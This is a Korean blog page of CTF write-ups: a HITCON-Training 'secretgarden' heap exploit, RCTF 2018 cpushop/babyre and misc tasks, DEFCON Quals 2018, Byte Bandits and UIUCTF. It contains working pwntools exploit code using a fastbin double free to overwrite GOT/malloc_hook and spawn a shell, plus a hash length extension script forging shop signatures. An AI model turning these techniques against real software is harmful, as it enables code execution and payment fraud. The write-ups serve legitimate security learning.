Write-up/CTF _ Write UP

처음에 fastbin double free를 이용해서 got영역을 덮으려고 했으나, chunk size로 적절한 영역을 찾지못해서...

그냥 got영역을 이용해 libc주소를 leak한 다음, malloc_hook을 magic함수 주소로 덮었다.

그런데 알고보니... chunksize로 아래와 같은 부분을 사용할 수 있었다.


0x601ffa:    0x1e28000000000000    0xe168000000000060
0x60200a:    0x0000414141414141    0x2390000000000000

0x601ffa를 0x60 fastbin에 넣어서 사용할 수 있었다.

아니 근데 fastbin size가 아니지않나? 0xe168000000000060인데?

그래서malloc.c파일을 살펴보았다. 그 내용은 아래 url에...

https://xerxes-break.tistory.com/440



exploit은 아래와 같이 할 수 있다.

double free버그로 flower데이터를 2번 할당받아서 원하는 메모리 주소를 leak할 수 있고, 그렇게 leak한 libc주소로 system함수 주소를 구해 다시 double free버그로 free_got를 system함수로 덮어서 쉘을 획득할 수 있다.


#!/usr/bin/env python
from pwn import *

conn = process("./secretgarden")

def raiseflower(length,name,color):
    conn.recvuntil(":")
    conn.sendline("1")
    conn.recvuntil(":")
    conn.sendline(str(length))
    conn.recvuntil(":")
    conn.send(name)
    conn.recvuntil(":")
    conn.sendline(color)

def visit():
    conn.recvuntil(":")
    conn.sendline("2")

def remove(idx):
    conn.recvuntil(":")
    conn.sendline("3")
    conn.recvuntil(":")
    conn.sendline(str(idx))

def clean():
    conn.recvuntil(":")
    conn.sendline("4")

my_exploit = False#True

if(my_exploit):
    conn.recvuntil("Baby Secret Garden")

    raiseflower(0x20, "A"*0x20, "red")
    raiseflower(0x20, "A"*0x20, "blue")

    # double free
    remove(0)
    remove(1)
    remove(0)
    clean()

    raiseflower(0x20, "A"*0x20, "green")
    raiseflower(0x60, "A"*0x60, "leak")

    # exist make 0
    remove(1)

    # leak puts_addr
    payload =  p64(1)
    payload += p64(0x602020)
    raiseflower(0x20, payload, "red")

    visit()
    conn.recvuntil("[1] :")
    puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
    log.info("puts_addr : " + hex(puts_addr))
    
    # double free
    raiseflower(0x60, "A"*0x60, "A") #3
    raiseflower(0x60, "A"*0x60, "B") #4

    remove(3)
    remove(4)
    remove(3)
    clean()

    base_addr = puts_addr - 0x6f690
    one_shot = base_addr + 0x45216
    magic = 0x0400C7B 
    malloc_hook = base_addr +  0x3c4b10 - 11 - 8
    """
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL

    """
    log.info("base_addr   : " + hex(base_addr))
    log.info("malloc_hook : " + hex(malloc_hook))
    log.info("one_shot    : " + hex(one_shot))
    log.info("magic       : " + hex(magic))

    raiseflower(0x60, p64(malloc_hook)+"\n", "A") #3
    raiseflower(0x60, "A"*0x60, "B") #4
    raiseflower(0x60, "A"*0x60, "B") #4
    raiseflower(0x60, "A"*3+p64(magic), "B")

else:
    conn.recvuntil("Baby Secret Garden")

    raiseflower(0x20, "A"*0x20, "red")
    raiseflower(0x20, "A"*0x20, "blue")

    # double free
    remove(0)
    remove(1)
    remove(0)
    clean()

    raiseflower(0x20, "A"*0x20, "green")
    raiseflower(0x60, "A"*0x60, "leak")

    # exist make 0
    remove(1)

    # leak puts_addr
    payload =  p64(1)
    payload += p64(0x602020)
    raiseflower(0x20, payload, "red")

    visit()
    conn.recvuntil("[1] :")
    puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
    log.info("puts_addr : " + hex(puts_addr))

    # double free
    raiseflower(0x50, "A"*0x60, "A") #3
    raiseflower(0x50, "A"*0x60, "B") #4

    remove(3)
    remove(4)
    remove(3)
    clean()

    base_addr = puts_addr - 0x6f690
    system_addr = base_addr + 0x45390
    fake_chunk = 0x601ffa
    """
    0x601ffa:    0x1e28000000000000    0xe168000000000060
    0x60200a:    0x0000414141414141    0x2390000000000000
    """


    log.info("base_addr   : " + hex(base_addr))
    log.info("system_addr : " + hex(system_addr))
    log.info("fake_chunk  : " + hex(fake_chunk))

    raiseflower(0x50, p64(fake_chunk)+"\n", "A") #3
    raiseflower(0x50, "/bin/sh\x00"+"\n", "B") #4
    raiseflower(0x50, "A"*0x50, "B") 
    raiseflower(0x50, "A"*6+p64(0)+p64(system_addr), "B")
    
    remove(4)
    """
    conn.recvuntil("Baby Secret Garden")
    magic = 0x400c7b
    fake_chunk = 0x601ffa
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"da","red")
    remove(0)
    remove(1)
    remove(0)
    raiseflower(0x50,p64(fake_chunk),"blue")
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"da","red")
    raiseflower(0x50,"a"*6 + p64(0) + p64(magic) ,"red")
    """

conn.interactive()


'Write-up > CTF _ Write UP' 카테고리의 다른 글

RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10


Misc 4개 / Crypto 1개 / Reverse 1개 / Web 0개 / Pwn 0개


위와 같이 문제풀고 마무리. Pwn 문제를 좀 더 풀고 싶었지만 heap overflow를 아직 몰라서(공부해야한다...) 풀지 못했다.


[Misc]Sign



간단한 문제다 IDA를 이용해 스트링을 살펴보면 FLAG를 찾을 수 있다.



RCTF{WelCOme_To_RCTF}




[Misc] git



git 관련해서 파일을 하나 주는데, 로그를 보면 하나밖에 없다. flag를 검색하면 뭔가 나오지않을까해서 Notepad++로 끌어다가 검색해보니 아니다 다를까

Flag라고 커밋해둔게 있다. git checkout을 해서 다시 되돌려주면 flag.txt를 얻을 수 있다.




굿..



[Misc] cats



꽤나 재미있는 문제였다. 주어진 url로 들어가면 아래와 같은 문구를 볼 수 있다.


I love cats! Can you find 15 cats for me ._.?

I'll save the cat food as file "food" and observe whether the outcomes of "cat food" and "eachCatNameYouProvided food" are exactly the same (including return code and trailing CRLFs). Download dockerfile to find cats locally, or you may find reCAPTCHA annoying.

dockerfile을 주는데, 어떻게 cats를 찾느냐. 이 dockerfile을 통해서 가상이미지 환경설정을 하고 그 컨테이너에서 cat들을 찾으면 된다.

도커(docker)는 컨테이너 기반의 오픈소스 가상화 플랫폼이라고 하는데, 자세한 건 검색하면 좋은 자료들이 많이 나온다.


참고자료 : 

https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html

http://pyrasis.com/Docker/Docker-HOWTO#dockerfile


cat을 찾는 방법은 간단하다. 

명령어로 cat food했을때 나오는 결과와 eachCatNameYouProvided food라고 쳤을때 나오는 결과가 같으면 된다. (둘다 CRLF(\r, \n 등등)으로 끝마쳐 리턴해준다.)


예를 들어 tarcat이란 명령어가 있는데 아래와 같이 치면 둘다 같은 결과를 반환해주는 것을 알 수 있다.

cat: food: No such file or directory



이제 환경변수 PATH에 등록되어있는 곳에서 명령파일들을 하나하나 실행시켜가며 찾든가 하면 된다.

필자는 find 명령어를 사용해서 쓸만한 바이너리파일들을 모아서 cat과 비슷한 결과가 나오는 놈들을 찾게 코드를 돌려서 찾았다.




cat과 같은 결과를 내놓는 명령어들은 대부분 아래와 같다.

tarcat, tail, head, sort, shuf, fold, expand, paste, unexpand, iconv, bash, sh, rbash, erb, dash


RCTF{you_love_cats_dont_you}



[Misc] Number Game



넘버게임이라고 nc로 접속하게 되면, 게임에 들어가기 전에 proof of work를 해야한다.

주어진 sha256 해시값과 같은 해시값을 가지게 4자리 XXXX를 채워넣어주면 게임이 시작된다.


게임은 숫자야구게임으로 외국에서는 Bulls and Cows 라고 불리는 게임이다. 6번의 기회가 주어지고 중복없는 4자리 숫자를 순서에 맞게 맞추면 되는 게임이다. 자세한 룰은 이쪽에서 보면 좋다.(한글번역은 이쪽)


하드코딩해서 풀면 된다. Bulls and Cows solver 라고 검색해서 적당한 소스를 가져와서 문제의 조건에 맞게 수정해서 사용하였다.

소스가 길어서 따로 글을 작성해서 올렸다.


Solve.py



[Reverse] babyre


babyre라는 바이너리 파일과 out파일을 주는데, out으로 나온게 아마 암호화된 flag일 것이다.

babyre 파일을 분석해보면 처음에 문자열과 정수를 입력받고 "your input:try again"라는 문자열을 출력하고 다시 입력을 받는데


이때 입력한 문자들이 각각 인코딩되서 나오므로, 이를 이용해서 out을 디코딩할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import string
 
 
 
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+{}.,/'"
table = [alpha[i:i+30for i in range(0,len(alpha),30)]
print(table)
 
p_table = {}
 
for plain in table:
    conn = process("./babyre")
    conn.sendline("A"*32)
    conn.sendline(str(32))
 
    conn.sendline(plain)
    conn.recvuntil("try again")
    for i in range(len(plain)):
        #print(plain[i]+" :"),
        P = conn.recvline().strip().upper()
        p_table[P]=plain[i]
    conn.close()
 
= open("out"'r')
lines = f.readlines()
f.close()
 
flag = ""
 
for c in lines:
    if c[:8in p_table:
        flag += p_table[c[:8]]
    else:
        flag += "?"
    if c[8:16in p_table:
        flag += p_table[c[8:16]]
    else:
        flag += "?"
 
 
print(flag)
 
 
cs






[Crypto]cpushop


nc를 통해 들어가면 돈과 무엇을 할 수 있는 지 나온다.

문제소스는 여기 

cpushop.py




과연 cpushop이라 할만하다. List Items를 해보면 CPU들과 가격이 나온다.

그리고 9번째 항목을 보면 Flag도 팔 고 있는 것을 볼 수 있다. 물론 돈이 없어서 Flag를 살 수는 없다...


물건을 사려면 먼저 Order을 통해서 Items ID에 해당하는 구입증(?)을 발급받아야한다. 

만약 0번 제품인 Intel Core i9-7900을 산다고 하면 아래와 같은 코드에 의해서 출력된 것을 Pay에 입력하면 물건을 살 수 있다.


1
2
3
4
    payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
    sign = sha256(signkey+payment).hexdigest()
    payment += '&sign=%s' % sign
    print 'Your order:\n%s\n' % payment
cs



payment에 제품에 대한 정보가 들어가 있고, 그 제품정보들 앞에 signkey를 붙여 sha256으로 서명한 값이 payment뒤에 붙어 고객에게 전달되고,

그 값을 고객이 제출하면 샵에서는 payment에서 sign값을 파싱해 그 값을 가지고 payment에 대한 무결성을 검증할 수 있고 고객은 상품을 구입할 수 있다. 


만약 상품정보에서 price값을 낮게 설정하고 그 값에 대한 sha256 sign값이 있다면 Order을 통해서 상품구입이 가능하고 우리는 Flag를 구입할 수 있을 것이다. 참고로 Shop측에서 제품정보를 파싱하는 부분에서 취약점이 있는데 아래와 같다.


1
2
3
4
5
6
7
8
9
    for k,v in parse_qsl(payment):
        if k == 'product':
            product = v
        elif k == 'price':
            try:
                price = int(v)
            except ValueError:
                print 'Invalid Order!'
                return
cs


어디가 취약한지 알겠는가? 만약 payment과 다음과 같다면 어떻게 될 것 같은가..?


payment = "product=Flag&price=999&timestamp=15235&price=1"


기존의 payment 뒤에 price=1이라는 값을 붙여쓴것이다. 

만약 위와 같은 payment가 있다면 price값을 파싱할때, 처음 만난 price=999에서 price=999로 설정하고 계속 for문을 돌다가 마지막에 price를 또 만나 최종적으로 price=1로 설정되고 종료될 것이다.


그러므로 여기서 할 공격은 Hash Length Extension Attack이다!

github에 hash_extender라는 툴이 있으므로 이것을 이용해서 공격할 것이다.


(대회가 끝나고 몇달이 지난후, 우연히 다른 사람의 writeup을 보게 되었다. python 라이브러리중 hashpumpy라는 꿀툴이 있더라... ㄷㄷ;; 이걸 이용하면 좀 더 소스가 깔금해진다. )

https://ctftime.org/task/6126


참고로 우리는 signkey는 모르므로 signkey의 길이는 브루트포싱으로 맞춰줘야한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
 
from pwn import *
import string
from subprocess import Popen, PIPE
 
#context.log_level = 'debug' 
#conn = remote('cpushop.2018.teamrois.cn', 43000)
conn = process(['python''cpushop/cpushop.py'])
 
def OrderItemFlag(id=9):
    conn.sendline("2")
    conn.recvuntil("Product ID:")
    conn.sendline(str(id))
    
    conn.recvline()
    payment=conn.recvline().strip()
    return payment
 
    
def SHA256_Extender(paym, sign, keylen):
    fake_price = "&price=1"
    keylen = str(keylen)
    
    command = './hash_extender --data "'+ paym +'" --secret '+keylen+' --append "'+ fake_price +'" --signature '+sign+' --format sha256'    
    popen = Popen(command, shell=True, stdout=PIPE)
    output, error = popen.communicate()
    
    New_signature, expanded_payment = output.split("New string: ")
    New_signature = "&sign="+(New_signature.split("New signature: "))[1].strip()
    expanded_payment = expanded_payment.strip().decode("hex")
    
    expanded_payment += New_signature
    return expanded_payment
    
def PayItem(payment):
    conn.sendline("3")
    conn.recvuntil("Your order:")
    conn.sendline(payment)
    conn.recvline()
    result=conn.recvline()
    return result
 
 
print(conn.recvuntil('Command:'))    
payment = OrderItemFlag()
 
paym, sign = payment.split("&sign=")
 
for keylen in range(8,32):
    print("keylen : " + str(keylen))
    conn.recvuntil('Command:')
    payment = SHA256_Extender(paym,sign,keylen)
    result = PayItem(payment)
    
    if "Invalid Order!" not in result:
        print(result)
        conn.interactive()
 
#conn.shutdown()  # Ctrl+D
conn.interactive()
 
"""
https://github.com/iagox86/hash_extender
./hash_extender --data "product=Intel Core i9-7900X&price=999&timestamp=1526710428630790" --secret 20 --append append --signature a3f3282990039a1cb6816c172b9e5d44308213c25d0c76d3d5dddfb627b2a0f8  --format sha256
"""
 
cs


'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

DEFCON CTF Quals 2018 Writeup

2018. 5. 14. 11:18

(Ordered by 368 teams) 


8개의 fragment가 주어지고 이 순서만 제대로 맞추면 elf파일이 정상적으로 작동할 것이므로 경우의 수는 8!=40320이다.

브루트포싱으로 공격하여 프로그램이 정상적으로 작동할 때까지 끼워맞추기를 하면 다음 순서로 이어맞출때 아래와 같이 출력된다.


'fragment_8.dat', 

'fragment_7.dat', 

'fragment_1.dat', 

'fragment_5.dat', 

'fragment_6.dat', 

'fragment_2.dat', 

'fragment_3.dat', 

'fragment_4.dat'



FLAG는 welc000me









(Ordered by 487 teams) 


크롬 개발자도구(F12)를 키고 이 문제를 열어보면 network에서 message부분에서 누락된 Flag를 확인 할 수 있다.


OOO{Sometimes, the answer is just staring you...}


짤려버렸고, 문제서버가 닫혀서 다시 확인해볼 수 없지만 아래와 같이 찾을 수 있다.










(Ordered by 190 teams) 


해당 Web에서는 openssl_sign을 이용해서 pdf의 서명 및 인증을 하고 있다. openssl_sign의 디폴트 알고리즘은 SHA-1으로 이는 취약함이 2017년 2월에 구글에 의해서 완전히 입증되었다. ( 충돌쌍을 누구나 만들 수 있게 소스 또한 공개되어있다.)


참고 사이트 : https://cpuu.postype.com/post/580053

서비스 사이트 : https://shattered.io/


그러므로 동일한 해시값을 가진 서로 다른 pdf를 생성할 수 있다.

echo flag라는 문자열을 포함하고 있는 pdf와 cat flag라는 문자열을 포함하고 있는 pdf를 동일한 해시값을 가지게 생성하고,


echo flag를 서명받아 그 값을 가지고 cat flag를 실행시킬 수 있다.



pdf_sha1collider github : https://github.com/nneonneo/sha1collider







(Ordered by 209 teams) 



5월 13일은 외국에서 어머니의 날이다. 어머니에게 전화나 메세지를 남기라는 문제로 유형도 human interaction이다.


어버이날에 한번 인사드렸지만 한번 더 감사해하며 Flag를 인증해주자.


 











(Ordered by 192 teams) 


문제 페이지에 들어가면 eval을 이용하여 코드를 실행시킬 수 있다.

flag binanry 파일을 실행시키면 되는데, flag파일은 현재 폴더에서 한단계 상위에 있으므로 ../flag를 실행시키면 되겠다.

eval을 이용해서 printf(1+1);을 실행시키는 것을 볼 수 있는데, system()함수 또한 실행되기 때문에 이를 이용해서 system("../flag");를 실행시키면 된다.











(Ordered by 55 teams) 



주어진 text 파일의 문자열을 "!"를 기준으로 알파벳 갯수를 세서, 이것을 문자로 치환하면 된다. (ex : m!yria! / 1개 -> a, 4개 -> d )


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
= open("text""r")
crypto = f.readline()
f.close()
 
print("Crypto : %s" % crypto, end="")
print("Plain  : ",end=""
cnt = 0
for p in crypto:
    if(p=='!'):
        print("%c" % chr(ord('a')+cnt-1), end="")
        cnt=0
    else:
        cnt=cnt+1
 
print("")
 
cs



flag는 dark`logic


대회가 끝나기 전에 알아차려서 flag 인증 할 수 있었으면 좋았겠지만, 안타깝게도 끝나고나서야 알아차렸다...



'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

[WriteUP] Byte Bandits CTF 2018

2018. 4. 10. 18:48





UIUCTF보다 늦게 시작된 CTF이다.


문제는 UIUCTF보다 풍부해보인다... 어째


[Misc]Greetings 1p



1점짜리다....


안녕하세요! <3 란다...


룰을 읽어보면 freenode irc로 접속하는게 있다. 접속해보자.



최근에 irc 문제를 풀어서 그런가;; 데자뷰가...



[Crypto]R u Ronald Rivest? 70p



http://xerxes-break.tistory.com/316






[Forensics]Eating_that_ponegr 100p



어우야.... 뭔가 힌트가 될만한 문구를 나열해주는데; 봐도 잘... 아니 잠깐만 방금 깨달았네 ㄷㄷ;


PONEGR-du! GRINFO-du! 를 2글자씩 뛰어가며 읽어보자.


PNG OER GIF RNO를 말하는것 같다.


OER RNO는 모르겟지만 PNG GIF는 이미지 확장자다.


아래가 주어진 grinfo.png라는 확장자다.



그냥 평범한 그림파일이다... gif로 바꿔도 뭐 별거 없어보인다.




딱히 에러가 있지는 않다.


dma..음... 모르겠다


------- 2018. 04.13 추가 ---------


writeup이 올라왔다.


https://ctftime.org/writeup/9666


내용이 매우 간단하다.


zsteg grinfo.png -E b1,b,lsb,xy > step1.gif

convert -verbose -coalesce step1.gif step2.png

montage step2-* -tile x1   -geometry '1x1+0+0<' final.png

By https://twitter.com/diofeher and https://twitter.com/K4L1_FS


이걸로 설명을 다하다니... 한번 차례로 해보겠다.


zsteg툴은 png & bmp 파일에서 숨겨진 데이터가 있는지 감지해주는 툴이다. 

(https://github.com/zed-0xff/zsteg)


Description

detect stegano-hidden data in PNG & BMP

Detects:


꽤나 유용한 툴 같다. 먼저 zsteg grinfo.png 를 실행하면 아래와 같이 나온다.



GIF가 있는 것을 b1,b,lsb, xy 항목을 보면 알 수 있다. 이제 저 GIF를 추출하자.


-E옵션을 이용해서 추출해줄수 있다.

.zsteg grinfo.png -E b1,b,lsb,xy > step1.gif 를 실행


gif가 추출되었고, 이제 convert를 통해 -verbose -coalesce 옵션을 주어 실행하면 gif파일이 png파일 450개정도로 나뉘어서 나온다.



이제 이 png들을 다 모아서 합쳐주면 된다.


montage step2-* -tile x1 -geometry '1x1+0+0<' final.png



이렇게 플래그가 나오는 것을 알 수있다.


나중에 시간나면 좀 더 분석해보겠다.




[Crypto]almost almost xor 150p





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
 
import sys
import os
 
def encrypt(message, key):
    message = list(message)
    key = list(key)
    for i, kb in enumerate(key):
        step = (kb % len(key)) + 1
        for j in range(i, len(message), step):
            message[j] ^= kb
    return bytes(message)
 
with open(sys.argv[2], "wb") as f:
    f.write(encrypt(open(sys.argv[1], 'rb').read(), os.urandom(16)))
cs










끝나버림 ㅠ;




'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

[WriteUp] UIUCTF 2018 Writeup

2018. 4. 10. 08:30

오랜만에 CFT나 해야겠다.






ROT180 ● oʇdʎɹƆ ● 1 Points ● Solved


위의 Crypto를 180도 돌려놓은 문자표시가 보이는가....


어떻게 이런걸 찾앗는지 ㄷㄷ;



영어는 알아서 해석하자 !


중요한건 중간에 보이는 저 {uoɔǝɹ‾ʇou‾sʇᴉ‾ʇsɐǝl‾ʇɐ}ƃɐlɟ 이다 처음에는 진짜.. 외계어인줄 알았다 ;; 어느 나라에서 쓰는 언어인가 싶었는데;


180도 돌려보니 플래그가 보였다.


돌려보자!



굿!



irc ● other ● 1 Points 






https://ko.wikipedia.org/wiki/%EC%9C%84%ED%82%A4%EB%B0%B1%EA%B3%BC:IRC_%EB%8C%80%ED%99%94%EB%B0%A9


키위IRC 를 이용했음


1점... 그럼에도 꽤 헷갈림 ㅠ

위와같이 irc로 접속하면 클리어됨



Hastad ● Crypto ● 200 Points



sorry wrong chat라고 하고..


ciphertexts.txt 와 moduli.txt가 주어진다.


일단 한번 보자.



이게 ciphertexts.txt이고 아래가 moduli.txt이다.



RSA암호화로 ciphertexts.txt를 보낸것이라 생각한다. 여기서 e=3이라고 하는데...


e값이 매우 작고 평문이 길이가 짧을 경우, n(=p*q)값이 매우 크기때문에.. 암호화된 평문 C=P^e(% n) 에서 n이 너무커서 C가 모듈러 연산에 몇번 걸리지 않는 경우가 있다. 이 경우 C값을 그냥 e 거듭제곱근을 구해서 평문을 복호화해 낼 수가 있다고 한다. 그래서 일단 e제곱근한 값이 나오나 보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]
 
 
= 3.00
 
for idx, c in enumerate(c_list):
    c_list[idx]=c**(1.00/e)
    print("%x " % c_list[idx])
 
 
for c in c_list:
    #c = c**(1.00/e)
    c=format(int(c), 'x')
    print("%s " % (c.decode("hex")))
 
cs


이런 파이썬 코드를 짜서... 출력해보았다.


코드는 해당 ciphertexts.txt의 값들을 각각 세제곱근한 값을 hex값으로 두고, 이를 decode해 평문으로 출력하는 것이다.



위와 같이 출력되었고... 666c61677b757000000000000000000000000000000000000000000000 와 flag{up 를 볼때...


모듈러연산에 걸려 평문값이 짤려 손실된것으로 보인다.



....


아닛.... 엄청난걸 찾았다. 위키백과 굿

https://en.wikipedia.org/wiki/Coppersmith%27s_attack#RSA_basics


위 url을 통해 들어가보면 Håstad's broadcast attack라고 있다.

한번 자세히 알아보자. 

Hastad's Broadcast Attack 
Coppersmith 정리를 이용한 첫 번째 응용으로써, Hastad가 제안했던 알고리즘을 개선한 내용을 알아본다. Bob은 평문 M을 암호화해서 P1,P2,…,Pk 라고 하는 여러 group에게 동시 에 전송하려 한다고 가정하자. 각 group은 각기 RSA 공개키 를 갖고 있다. 그리고 평문M이 모든 Ni보다 작다고 하자. 이런 상황에서 Oscar는 Bob이 모르게 이들의 통신을 도청할 수 있고, k개의 암호문을 가로 챌 수 있다. 편의상, 모든 공개키 ei가 3이라고 하자. 이 경우, k≥3이면, 0scar는 암호문으로부터 평문 M을 복호화 할 수 있다. 즉, Oscar가 세 개의 암호문 C1,C2,C3를 얻었다고 하자. 여기서, C1=M3 modN1, C2=M3 modN2, C3=M3 modN3 이다. 그리고, Oscar가 Ni를 소인수 분해하지 못하게 하기 위해, 서로 다른 i, j 에 대해 gcd(Ni,Nj)=1라고 가정할 수 있다. 그러면, CRT을 이용해, C'=M3 modN1N2N3을 만족하는 Z N1N2N3의 원소 C'를 구할 수 있다. 가정에서 M이 모든 Ni보다 작다고 했기 때문에 M3 < N1N2N3이고 따라서 C'=M3 이 성립한다. 따라서, Oscar는 C'의 삼제곱근을 실수에서 연산하 면, M을 얻을 수 있다. 일반적으로, 모든 공개키(public exponent) ei가 같다고 하고 "k≥ei" 이기만 하면 Oscar는 평문 M을 복호화할 수 있다. 이 공격법은 공개키 e가 작은 경우에 한한다. 하지만, 이 공격법에 미미하게 대응해선 안 된다. 예를 들어, Bob이 평문 M을 암호 화하기 전에, "덧붙이기" 과정을 취할 수 있다. 즉, |M|=m 이라 하면, Bob은 Pi에게 Mi=i2m +M을 암호화해서 전달한다. 그러면, Oscar는 서로 다른 평문에 대안 암호문을 얻기 때문에, 위에서 살펴본 공격법을 취할 수가 없을 것 같다. 하지만, 위와 같은 선형 덧붙이기 과정이 안전하지 못함을 Hastad는 보였다. 더욱이, 그는 덧붙이기 과정으로서, 평문을 입력 으로 하는 고정된 다항식 연산을 취하는 것도 위의 공격방법을 막을 수 없음을 증명했다. 다음은 Hastad의 결과보다 강한 내용(stronger version)이다.

여기서 CRT는  Chinese Remainder Theorem로 중국인의 나머지 정리이다.

요약하자면 동일한 메세지를 여러 명에게 동시에 전송할때, 평문 M이 모든 Ni보다 작고, ei가 충분히 작고 알고있는 암호문 k가 k>=ei이면 중국인의 나머지정리(CRT)를 이용해 C를 구할수 있고 이 C의 e제곱근이 바로 평문이다.

먼저 이 문제가 hastad's Broadcast Attack으로 공격할수 있는지 살펴보자.

먼저 e=3으로 작은 값이고, ciphertexts.txt에 같은 flag를 암호화한 암호문 여려개와 moduli.txt에 N이 3개가 주어졌다. (이 3개의 N은 서로 서로수일것이다.)
암호문을 3개 이상얻었으므로 중국인의 나머지 정리를 이용해서 C = M^3 mod N1N2N3을 만족하는 C를 구해보자.

.................

이거 가지고 7시간 삽질을 했는데... 결국 안됐다 ㅡㅡ;; 아나

가장 큰 문제는  C = M^3 mod N1N2N3을 만족하는 C를 구햇는데 이 C의 세제곱근을 못구해서 엄청 헤매다가;;

import gmpy를 통해 해결하였다. 그런데 이게 안구해져서 ㅁㄴㅇㄹ 화가 나려하는데;; 아래와 같은 문제점을 발견해서 풀었다.

------------------------------------------------------------------------------------------------------------------------------


